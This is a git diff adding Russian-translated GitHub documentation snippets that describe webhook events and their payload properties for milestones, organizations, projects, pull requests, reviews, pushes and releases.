+ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145088989" +--- +Ключ | Тип | Описание +----|------|------------- +`action` |`string` | Действие, которое было выполнено. Это может быть `created`, `closed`, `opened` (закрытая веха, открытая повторно), `edited` или `deleted`. +`milestone` |`object` | Сама веха. +`changes`|`object`| Изменения в вехе, если выполнялось действие `edited`. +`changes[description][from]`|`string` | Предыдущая версия описания, если выполнялось действие `edited`. +`changes[due_on][from]`|`string` | Предыдущая версия даты выполнения, если выполнялось действие `edited`. +`changes[title][from]`|`string` | Предыдущая версия заголовка, если выполнялось действие `edited`. diff --git a/translations/ru-RU/data/reusables/webhooks/milestone_short_desc.md b/translations/ru-RU/data/reusables/webhooks/milestone_short_desc.md new file mode 100644 index 000000000000..0ec708b87e4a --- /dev/null +++ b/translations/ru-RU/data/reusables/webhooks/milestone_short_desc.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 5d588f3aa6c05bc3ba1f02ab8d895399801e70e9 +ms.sourcegitcommit: 76b840f45ba85fb79a7f0c1eb43bc663b3eadf2b +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/12/2022 +ms.locfileid: "145067211" +--- +Действия, связанные с вехами. {% data reusables.webhooks.action_type_desc %} Дополнительные сведения см. в статье о REST API [вех](/rest/reference/issues#milestones). diff --git a/translations/ru-RU/data/reusables/webhooks/org_block_short_desc.md b/translations/ru-RU/data/reusables/webhooks/org_block_short_desc.md new file mode 100644 index 000000000000..ff67df314d67 --- /dev/null +++ b/translations/ru-RU/data/reusables/webhooks/org_block_short_desc.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 7805f5809c9ba4b0b298e431beb1a8abddf039bf +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "147881174" +--- +Действие, связанное с блокировкой людей в организации. {% data reusables.webhooks.action_type_desc %} Дополнительные сведения см. в статье о REST API [блокировки пользователей организации](/rest/reference/orgs#blocking). diff --git a/translations/ru-RU/data/reusables/webhooks/org_desc.md b/translations/ru-RU/data/reusables/webhooks/org_desc.md new file mode 100644 index 000000000000..3e851559dae9 --- /dev/null +++ b/translations/ru-RU/data/reusables/webhooks/org_desc.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 808d7537866311693d2885599a36ece0f0ab2641 +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "147881238" +--- +`organization` | `object` | Объект [`organization`](/rest/reference/orgs#get-an-organization) будет содержаться в полезных данных веб-перехватчика, если такой настроен для организации, либо произойдет событие в результате действия в репозитории, принадлежащем организации. diff --git a/translations/ru-RU/data/reusables/webhooks/org_desc_graphql.md b/translations/ru-RU/data/reusables/webhooks/org_desc_graphql.md new file mode 100644 index 000000000000..785808ac8a64 --- /dev/null +++ b/translations/ru-RU/data/reusables/webhooks/org_desc_graphql.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: e9bd53eafb526a1b18644d63d2533aa50d9974c1 +ms.sourcegitcommit: 5f9527483381cfb1e41f2322f67c80554750a47d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "147081009" +--- +`organization` | `object` | Объект [`organization`](/graphql/reference/objects#organization) будет содержаться в полезных данных веб-перехватчика, если такой настроен для организации, либо произойдет событие в результате действия в репозитории, принадлежащем организации. diff --git a/translations/ru-RU/data/reusables/webhooks/organization_short_desc.md b/translations/ru-RU/data/reusables/webhooks/organization_short_desc.md new file mode 100644 index 000000000000..c98922afc33c --- /dev/null +++ b/translations/ru-RU/data/reusables/webhooks/organization_short_desc.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 4db7425371197d5cc61846aa26d2cc33bf4587d7 +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145067205" +--- +Действие, связанное с организацией и ее членами. {% data reusables.webhooks.action_type_desc %} Дополнительные сведения см. в статье о REST API [организаций](/rest/reference/orgs). diff --git a/translations/ru-RU/data/reusables/webhooks/package_properties.md b/translations/ru-RU/data/reusables/webhooks/package_properties.md new file mode 100644 index 000000000000..5893f51e657c --- /dev/null +++ b/translations/ru-RU/data/reusables/webhooks/package_properties.md @@ -0,0 +1,12 @@ +--- +ms.openlocfilehash: 5adc0b5be2f2bb0559a69f86ce2195c8e83d6b74 +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145088978" +--- +Ключ | Тип | Описание +----|------|------------- +`action`|`string` | Действие, которое было выполнено. Может иметь значение `published` или `updated`. +`package` |`object` | Сведения о пакете. diff --git a/translations/ru-RU/data/reusables/webhooks/page_build_short_desc.md b/translations/ru-RU/data/reusables/webhooks/page_build_short_desc.md new file mode 100644 index 000000000000..138a4910ec90 --- /dev/null +++ b/translations/ru-RU/data/reusables/webhooks/page_build_short_desc.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: d3eabfb46a9d7eb5077e35151f019d02be134cb1 +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145067200" +--- +Представляет попытку сборки сайта {% data variables.product.prodname_pages %}, независимо от успешности ее выполнения. Это событие активируется при отправке в ветвь с поддержкой {% data variables.product.prodname_pages %} (`gh-pages` для страниц проекта, ветвь по умолчанию для страниц пользователей и организаций). diff --git a/translations/ru-RU/data/reusables/webhooks/payload_url.md b/translations/ru-RU/data/reusables/webhooks/payload_url.md new file mode 100644 index 000000000000..cf76fc8060e7 --- /dev/null +++ b/translations/ru-RU/data/reusables/webhooks/payload_url.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 40da0178d4f291568960b85c5054d0d7c367f46e +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145088957" +--- +URL-адрес полезных данных — это URL-адрес сервера, который будет получать запросы `POST` веб-перехватчика. diff --git a/translations/ru-RU/data/reusables/webhooks/ping_short_desc.md b/translations/ru-RU/data/reusables/webhooks/ping_short_desc.md new file mode 100644 index 000000000000..8aa2aa3b7014 --- /dev/null +++ b/translations/ru-RU/data/reusables/webhooks/ping_short_desc.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: a8a1de73ff71fe60e79ea376f98a3a48014ddc4b +ms.sourcegitcommit: 76b840f45ba85fb79a7f0c1eb43bc663b3eadf2b +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/12/2022 +ms.locfileid: "145067199" +--- +При создании нового веб-перехватчика мы отправим вам простое событие `ping`, подтверждающее правильность настройки веб-перехватчика. Это событие не сохраняется и не может быть извлечено через конечную точку [API событий](/rest/reference/activity#ping-a-repository-webhook). diff --git a/translations/ru-RU/data/reusables/webhooks/project_card_properties.md b/translations/ru-RU/data/reusables/webhooks/project_card_properties.md new file mode 100644 index 000000000000..0481952cb294 --- /dev/null +++ b/translations/ru-RU/data/reusables/webhooks/project_card_properties.md @@ -0,0 +1,15 @@ +--- +ms.openlocfilehash: 4c9dffae916ec9dd367a0d8b92a3a1831a6e9b41 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "145088954" +--- +Ключ | Тип | Описание +----|------|------------- +`action`|`string` | Действие, выполненное в карточке проекта. Может быть `created`, `edited`, `moved`, `converted` или `deleted`. +`changes`|`object` | Изменения в карточке проекта, если выполнялось действие `edited` или `converted`. +`changes[note][from]` |`string` | Предыдущая версия примечания, если выполнялось действие `edited` или `converted`. +`after_id`|`integer` | Идентификатор карточки, который теперь присвоен этой карточке, если выполнялось действие "перемещено". Для первой карточки в столбце будет иметь значение `null`. +`project_card`|`object` | Сама [карточка проекта](/rest/reference/projects#cards). diff --git a/translations/ru-RU/data/reusables/webhooks/project_card_short_desc.md b/translations/ru-RU/data/reusables/webhooks/project_card_short_desc.md new file mode 100644 index 000000000000..719e6a4ba5e7 --- /dev/null +++ b/translations/ru-RU/data/reusables/webhooks/project_card_short_desc.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: d71f1ff3ed93dbd91a2a74fe7ce2d17520cd7336 +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "147879034" +--- +Действие, связанное с карточками в {% data variables.projects.projects_v1_board %}. {% data reusables.webhooks.action_type_desc %} Дополнительные сведения см. в статье о REST API [карточек проектов](/rest/reference/projects#cards). diff --git a/translations/ru-RU/data/reusables/webhooks/project_column_properties.md b/translations/ru-RU/data/reusables/webhooks/project_column_properties.md new file mode 100644 index 000000000000..e88e69c1b971 --- /dev/null +++ b/translations/ru-RU/data/reusables/webhooks/project_column_properties.md @@ -0,0 +1,15 @@ +--- +ms.openlocfilehash: c29755014aac40c0ab7e96f879d19a3fb06d79fb +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "145088949" +--- +Ключ | Тип | Описание +----|------|------------- +`action`|`string` | Действие, выполненное в столбце проекта. Это может быть `created`, `edited`, `moved` или `deleted`. +`changes`|`object` | Изменения в столбце проекта, если выполнялось действие `edited`. +`changes[name][from]` |`string` | Предыдущая версия имени, если действие было `edited`. +`after_id`|`integer` | Идентификатор столбца, который теперь следует присвоен этому столбцу, если действие было "перемещено". Будет `null`, если это первый столбец в проекте. +`project_column`|`object` | Сам [столбец проекта](/rest/reference/projects#columns). diff --git a/translations/ru-RU/data/reusables/webhooks/project_column_short_desc.md b/translations/ru-RU/data/reusables/webhooks/project_column_short_desc.md new file mode 100644 index 000000000000..025d999732f0 --- /dev/null +++ b/translations/ru-RU/data/reusables/webhooks/project_column_short_desc.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: d8cb79d2b61d9f6d42a27a39016eb457cc373c46 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "147423159" +--- +Действие, связанное со столбцами, которые содержит {% data variables.projects.projects_v1_board %}. {% data reusables.webhooks.action_type_desc %} Дополнительные сведения см. в разделе [столбцы проекта](/rest/reference/projects#columns) REST API. diff --git a/translations/ru-RU/data/reusables/webhooks/project_properties.md b/translations/ru-RU/data/reusables/webhooks/project_properties.md new file mode 100644 index 000000000000..293fb2ad964e --- /dev/null +++ b/translations/ru-RU/data/reusables/webhooks/project_properties.md @@ -0,0 +1,15 @@ +--- +ms.openlocfilehash: f41668ecc39ec7b3efc30deaf59bdf406a60d0cb +ms.sourcegitcommit: ac00e2afa6160341c5b258d73539869720b395a4 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/09/2022 +ms.locfileid: "147878573" +--- +Ключ | Тип | Описание +----|------|------------- +`action`|`string` | Действие, выполненное для проекта. Это может быть `created`, `edited`, `closed`, `reopened` или `deleted`. +`changes`|`object` | Изменения в проекте, если выполнялось действие `edited`. +`changes[name][from]` |`string` | Предыдущая версия имени, если действие было `edited`. +`changes[body][from]` |`string` | Предыдущая версия текста, если действие было `edited`. +`project`|`object` | Сам [проект](/rest/reference/projects). diff --git a/translations/ru-RU/data/reusables/webhooks/project_short_desc.md b/translations/ru-RU/data/reusables/webhooks/project_short_desc.md new file mode 100644 index 000000000000..a955b602ecd0 --- /dev/null +++ b/translations/ru-RU/data/reusables/webhooks/project_short_desc.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: ca368de2e6cc18bc5f265586824b53d4821e35d7 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "147423655" +--- +Действие, связанное с {% data variables.projects.projects_v1_boards %}. {% data reusables.webhooks.action_type_desc %} Дополнительные сведения см. в разделе [проекты](/rest/reference/projects) REST API. diff --git a/translations/ru-RU/data/reusables/webhooks/public_short_desc.md b/translations/ru-RU/data/reusables/webhooks/public_short_desc.md new file mode 100644 index 000000000000..dfe352a59c1a --- /dev/null +++ b/translations/ru-RU/data/reusables/webhooks/public_short_desc.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 7c345fce0eec9ca438fbee6feac1a851b3718bbc +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "145088941" +--- +Когда частный репозиторий становится общедоступным. Без сомнения: лучшее событие {% data variables.product.product_name %}. diff --git a/translations/ru-RU/data/reusables/webhooks/pull_request_event_api_properties.md b/translations/ru-RU/data/reusables/webhooks/pull_request_event_api_properties.md new file mode 100644 index 000000000000..aed3966d4f0f --- /dev/null +++ b/translations/ru-RU/data/reusables/webhooks/pull_request_event_api_properties.md @@ -0,0 +1,11 @@ +--- +ms.openlocfilehash: b4442842d4f3be48b0929b9fac955827ecbd794d +ms.sourcegitcommit: 505b84dc7227e8a5d518a71eb5c7eaa65b38ce0e +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "147878811" +--- +Ключ | Тип | Описание +----|------|------------- +`action`|`string` | Действие, которое было выполнено. Возможные значения: `opened`, `edited`, `closed`, `reopened`, `assigned`, `unassigned`, `review_requested`, `review_request_removed`, `labeled`, `unlabeled` и `synchronize`. diff --git a/translations/ru-RU/data/reusables/webhooks/pull_request_properties.md b/translations/ru-RU/data/reusables/webhooks/pull_request_properties.md new file mode 100644 index 000000000000..df7710260f35 --- /dev/null +++ b/translations/ru-RU/data/reusables/webhooks/pull_request_properties.md @@ -0,0 +1,6 @@ +`number`|`integer` | The pull request number. +`changes`|`object`| The changes to the comment if the action was `edited`. +`changes[title][from]`|`string` | The previous version of the title if the action was `edited`. +`changes[body][from]`|`string` | The previous version of the body if the action was `edited`. +`pull_request`|`object` | The [pull request](/rest/reference/pulls) itself.{% ifversion fpt or ghec %} +`reason`|`string` | The reason the pull request was removed from a merge queue if the action was `dequeued`.{% endif %} diff --git a/translations/ru-RU/data/reusables/webhooks/pull_request_review_comment_event_api_properties.md b/translations/ru-RU/data/reusables/webhooks/pull_request_review_comment_event_api_properties.md new file mode 100644 index 000000000000..93448df17c2a --- /dev/null +++ b/translations/ru-RU/data/reusables/webhooks/pull_request_review_comment_event_api_properties.md @@ -0,0 +1,11 @@ +--- +ms.openlocfilehash: a2a41574297e6ef1280826bc0c1368c8d03bd25f +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "147879029" +--- +Ключ | Тип | Описание +----|------|------------- +`action`|`string` | Действие, выполненное с комментарием. Может иметь значение `created`. diff --git a/translations/ru-RU/data/reusables/webhooks/pull_request_review_comment_properties.md b/translations/ru-RU/data/reusables/webhooks/pull_request_review_comment_properties.md new file mode 100644 index 000000000000..783a59f79383 --- /dev/null +++ b/translations/ru-RU/data/reusables/webhooks/pull_request_review_comment_properties.md @@ -0,0 +1,12 @@ +--- +ms.openlocfilehash: 0bcab53262aeba661e09e824918ce0f396af2825 +ms.sourcegitcommit: 505b84dc7227e8a5d518a71eb5c7eaa65b38ce0e +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "147878810" +--- +`changes`|`object` | Изменения в комментарии, если выполнялось действие `edited`. +`changes[body][from]`|`string` | Предыдущая версия текста, если действие было `edited`. +`pull_request`|`object` | [Запрос на вытягивание](/rest/reference/pulls), к которому относится комментарий. +`comment`|`object` | Сам [комментарий](/rest/reference/pulls#comments). diff --git a/translations/ru-RU/data/reusables/webhooks/pull_request_review_comment_short_desc.md b/translations/ru-RU/data/reusables/webhooks/pull_request_review_comment_short_desc.md new file mode 100644 index 000000000000..f5bff0f017d9 --- /dev/null +++ b/translations/ru-RU/data/reusables/webhooks/pull_request_review_comment_short_desc.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: e88a2df426ed8a0674b234674f2c7e3862632c8d +ms.sourcegitcommit: ac00e2afa6160341c5b258d73539869720b395a4 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/09/2022 +ms.locfileid: "147878514" +--- +Действия, связанные с комментариями к проверке запроса на вытягивание в едином различии запроса на вытягивание. {% data reusables.webhooks.action_type_desc %} Дополнительные сведения см. в разделе о REST API [комментариев к проверкам запросов на вытягивание](/rest/reference/pulls#comments). diff --git a/translations/ru-RU/data/reusables/webhooks/pull_request_review_comment_webhook_properties.md b/translations/ru-RU/data/reusables/webhooks/pull_request_review_comment_webhook_properties.md new file mode 100644 index 000000000000..ce26ea5417f6 --- /dev/null +++ b/translations/ru-RU/data/reusables/webhooks/pull_request_review_comment_webhook_properties.md @@ -0,0 +1,11 @@ +--- +ms.openlocfilehash: 0471d244dfc24ce15dcd98323b44019729f604e1 +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "147880688" +--- +Ключ | Тип | Описание +----|------|------------- +`action`|`string` | Действие, выполненное с комментарием. Может иметь значение `created`, `edited` или `deleted`. diff --git a/translations/ru-RU/data/reusables/webhooks/pull_request_review_properties.md b/translations/ru-RU/data/reusables/webhooks/pull_request_review_properties.md new file mode 100644 index 000000000000..67da4b3e9b69 --- /dev/null +++ b/translations/ru-RU/data/reusables/webhooks/pull_request_review_properties.md @@ -0,0 +1,14 @@ +--- +ms.openlocfilehash: 6b8d3bb77c6a40a43ab22ffd0e60e61cd049fa61 +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "147879026" +--- +Ключ | Тип | Описание +----|------|------------ +`action` | `string` | Действие, которое было выполнено. Возможные значения:
    • `submitted` — проверка запроса на вытягивание переведена в состояние, отличное от "в ожидании".
    • `edited` — текст отзыва был изменен.
    • `dismissed` — отзыв был отклонен.
    +`pull_request` | `object` | [Запрос на вытягивание](/rest/reference/pulls), к которому относится проверка. +`review` | `object` | Затрагиваемая проверка. +`changes[body][from]`|`string` | Предыдущая версия текста, если действие было `edited`. diff --git a/translations/ru-RU/data/reusables/webhooks/pull_request_review_short_desc.md b/translations/ru-RU/data/reusables/webhooks/pull_request_review_short_desc.md new file mode 100644 index 000000000000..5491012d49ad --- /dev/null +++ b/translations/ru-RU/data/reusables/webhooks/pull_request_review_short_desc.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 29447ea5b6bb05e41fe213ffb1a1c1facd25b23e +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145087387" +--- +Действия, связанные с проверками запросов на вытягивание. {% data reusables.webhooks.action_type_desc %} Дополнительные сведения см. в разделе о REST API [проверок запросов на вытягивание](/rest/reference/pulls#reviews). diff --git a/translations/ru-RU/data/reusables/webhooks/pull_request_review_thread_short_desc.md b/translations/ru-RU/data/reusables/webhooks/pull_request_review_thread_short_desc.md new file mode 100644 index 000000000000..9577ef2c71be --- /dev/null +++ b/translations/ru-RU/data/reusables/webhooks/pull_request_review_thread_short_desc.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 4ec12f5ab3975f007d2a95ef4206ac8c1a4748b7 +ms.sourcegitcommit: ac00e2afa6160341c5b258d73539869720b395a4 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/09/2022 +ms.locfileid: "147878546" +--- +Действие, связанное с отметкой ветви обсуждения по запросу на включение внесенных изменений как завершенной или незавершенной. {% data reusables.webhooks.action_type_desc %} diff --git a/translations/ru-RU/data/reusables/webhooks/pull_request_short_desc.md b/translations/ru-RU/data/reusables/webhooks/pull_request_short_desc.md new file mode 100644 index 000000000000..df67e6ebfa55 --- /dev/null +++ b/translations/ru-RU/data/reusables/webhooks/pull_request_short_desc.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 775058cb2303990aa23cd2f69642bb70fe341b3a +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145087374" +--- +Действия, связанные с запросами на вытягивание. {% data reusables.webhooks.action_type_desc %} Дополнительные сведения см. в разделе о REST API [запросов на вытягивание](/rest/reference/pulls). diff --git a/translations/ru-RU/data/reusables/webhooks/pull_request_thread_properties.md b/translations/ru-RU/data/reusables/webhooks/pull_request_thread_properties.md new file mode 100644 index 000000000000..d05ebfed7cce --- /dev/null +++ b/translations/ru-RU/data/reusables/webhooks/pull_request_thread_properties.md @@ -0,0 +1,13 @@ +--- +ms.openlocfilehash: 563e9f384acbc3e6e243db8d2dae5eb05d833d04 +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "147883775" +--- +Ключ | Тип | Описание +----|------|------------ +`action` | `string` | Действие, которое было выполнено. Возможные значения:
    • `resolved` — ветвь обсуждения для запроса на включение внесенных изменений отмечена как завершенная.
    • `unresolved` — ранее завершенная ветвь обсуждения для запроса на включение внесенных изменений отмечена как незавершенная.
    +`pull_request` | `object` | [Запрос на включение внесенных изменений](/rest/reference/pulls), к которому относится ветвь. +`thread` | `object` | Затронутая ветвь. diff --git a/translations/ru-RU/data/reusables/webhooks/pull_request_webhook_properties.md b/translations/ru-RU/data/reusables/webhooks/pull_request_webhook_properties.md new file mode 100644 index 000000000000..af1e55006f1f --- /dev/null +++ b/translations/ru-RU/data/reusables/webhooks/pull_request_webhook_properties.md @@ -0,0 +1,11 @@ +--- +ms.openlocfilehash: 154c75025c0c83ff96a9da096d824a6d8541a3b3 +ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/25/2022 +ms.locfileid: "148008727" +--- +Ключ | Тип | Описание +----|------|------------- +`action`|`string` | Действие, которое было выполнено. Возможные значения:
    • `assigned`
    • `auto_merge_disabled`
    • `auto_merge_enabled`
    • `closed`: если действие имеет значение `closed`, а ключ `merged` — `false`, запрос на включение внесенных изменений был закрыт с фиксациями, для которых слияние не выполнялось. Если действие имеет значение `closed`, а ключ `merged` — `true`, было выполнено слияние запроса на включение внесенных изменений.
    • `converted_to_draft`
    • {% ifversion fpt or ghec %}
    • `dequeued`: активируется при удалении запроса на вытягивание из очереди слияния.
    • {% endif %}
    • `edited`
    • {% ifversion fpt or ghec %}
    • `enqueued`: активируется при добавлении запроса на вытягивание в очередь слияния.
    • {% endif %}
    • `labeled`
    • `locked`
    • `opened`
    • `ready_for_review`
    • `reopened`
    • `review_request_removed`
    • `review_requested`
    • `synchronize`: активируется при обновлении головной ветви запроса на включение внесенных изменений. Например, при обновлении головной ветви из базовой ветви, при отправке новых фиксаций в головную ветвь или при изменении базовой ветви.
    • `unassigned`
    • `unlabeled`
    • `unlocked`
    diff --git a/translations/ru-RU/data/reusables/webhooks/push_short_desc.md b/translations/ru-RU/data/reusables/webhooks/push_short_desc.md new file mode 100644 index 000000000000..57f9ba68344e --- /dev/null +++ b/translations/ru-RU/data/reusables/webhooks/push_short_desc.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: a6066dcc80cd41e0b9373617b700ac6c0ff24fca +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "145165087" +--- +Одна или несколько фиксаций отправляются в ветвь репозитория или тег. diff --git a/translations/ru-RU/data/reusables/webhooks/pusher_type_desc.md b/translations/ru-RU/data/reusables/webhooks/pusher_type_desc.md new file mode 100644 index 000000000000..4e88b7eaf7b2 --- /dev/null +++ b/translations/ru-RU/data/reusables/webhooks/pusher_type_desc.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: a4529e9bcfd745c4d13dd271e9f2dcdc5b390ada +ms.sourcegitcommit: 9a7b3a9ccb983af5df2cd94da7fecf7a8237529b +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/09/2022 +ms.locfileid: "147878346" +--- +`pusher_type`|`string`| Тип отправителя для события. Может быть `user` или ключом развертывания. diff --git a/translations/ru-RU/data/reusables/webhooks/release_event_api_properties.md b/translations/ru-RU/data/reusables/webhooks/release_event_api_properties.md new file mode 100644 index 000000000000..850be256d080 --- /dev/null +++ b/translations/ru-RU/data/reusables/webhooks/release_event_api_properties.md @@ -0,0 +1,11 @@ +--- +ms.openlocfilehash: beaf2beead81fe82e58de7ab0adf91b5eb96a10e +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "145070217" +--- +Ключ | Тип | Описание +----|------|------------- +`action`|`string` | Действие, которое было выполнено. Может иметь значение `published`. diff --git a/translations/ru-RU/data/reusables/webhooks/release_properties.md b/translations/ru-RU/data/reusables/webhooks/release_properties.md new file mode 100644 index 000000000000..5f9935820202 --- /dev/null +++ b/translations/ru-RU/data/reusables/webhooks/release_properties.md @@ -0,0 +1,11 @@ +--- +ms.openlocfilehash: 6ebaf7de51d56fcc0317bf1118ca562259429e4f +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "145070216" +--- +`changes[body][from]` |`string` | Предыдущая версия текста, если действие было `edited`. +`changes[name][from]` |`string` | Предыдущая версия имени, если действие было `edited`. +`release`|`object` | Объект [выпуска](/rest/reference/repos/#get-a-release). diff --git a/translations/ru-RU/data/reusables/webhooks/release_short_desc.md b/translations/ru-RU/data/reusables/webhooks/release_short_desc.md new file mode 100644 index 000000000000..e199d7b5f43c --- /dev/null +++ b/translations/ru-RU/data/reusables/webhooks/release_short_desc.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: c48b55974de70f47d12c80781a2c5592c8f45b1b +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145070213" +--- +Действие, связанное с выпуском. {% data reusables.webhooks.action_type_desc %} Дополнительные сведения см. в статье о REST API [выпуски](/rest/reference/releases). diff --git a/translations/ru-RU/data/reusables/webhooks/release_webhook_properties.md b/translations/ru-RU/data/reusables/webhooks/release_webhook_properties.md new file mode 100644 index 000000000000..4ffc0e1854c4 --- /dev/null +++ b/translations/ru-RU/data/reusables/webhooks/release_webhook_properties.md @@ -0,0 +1,11 @@ +--- +ms.openlocfilehash: e25410532059b625a9d72984993f3d6d2fcec565 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "145070212" +--- +Ключ | Тип | Описание +----|------|------------- +`action`|`string` | Действие, которое было выполнено. Возможные значения:
    • `published`: публикуется выпуск, предварительный выпуск или черновик выпуска.
    • `unpublished`: удаляется выпуск или предварительный выпуск.
    • `created`: сохраняется черновик, либо публикуется выпуск или предварительный выпуск, ранее не сохранный как черновик.
    • `edited`: редактируется выпуск, предварительный выпуск или черновик выпуска.
    • `deleted`: удаляется выпуск, предварительный выпуск или черновик выпуска.
    • `prereleased`: создается предварительный выпуск.
    • `released`: публикуется выпуск, или предварительный выпуск становится окончательным.
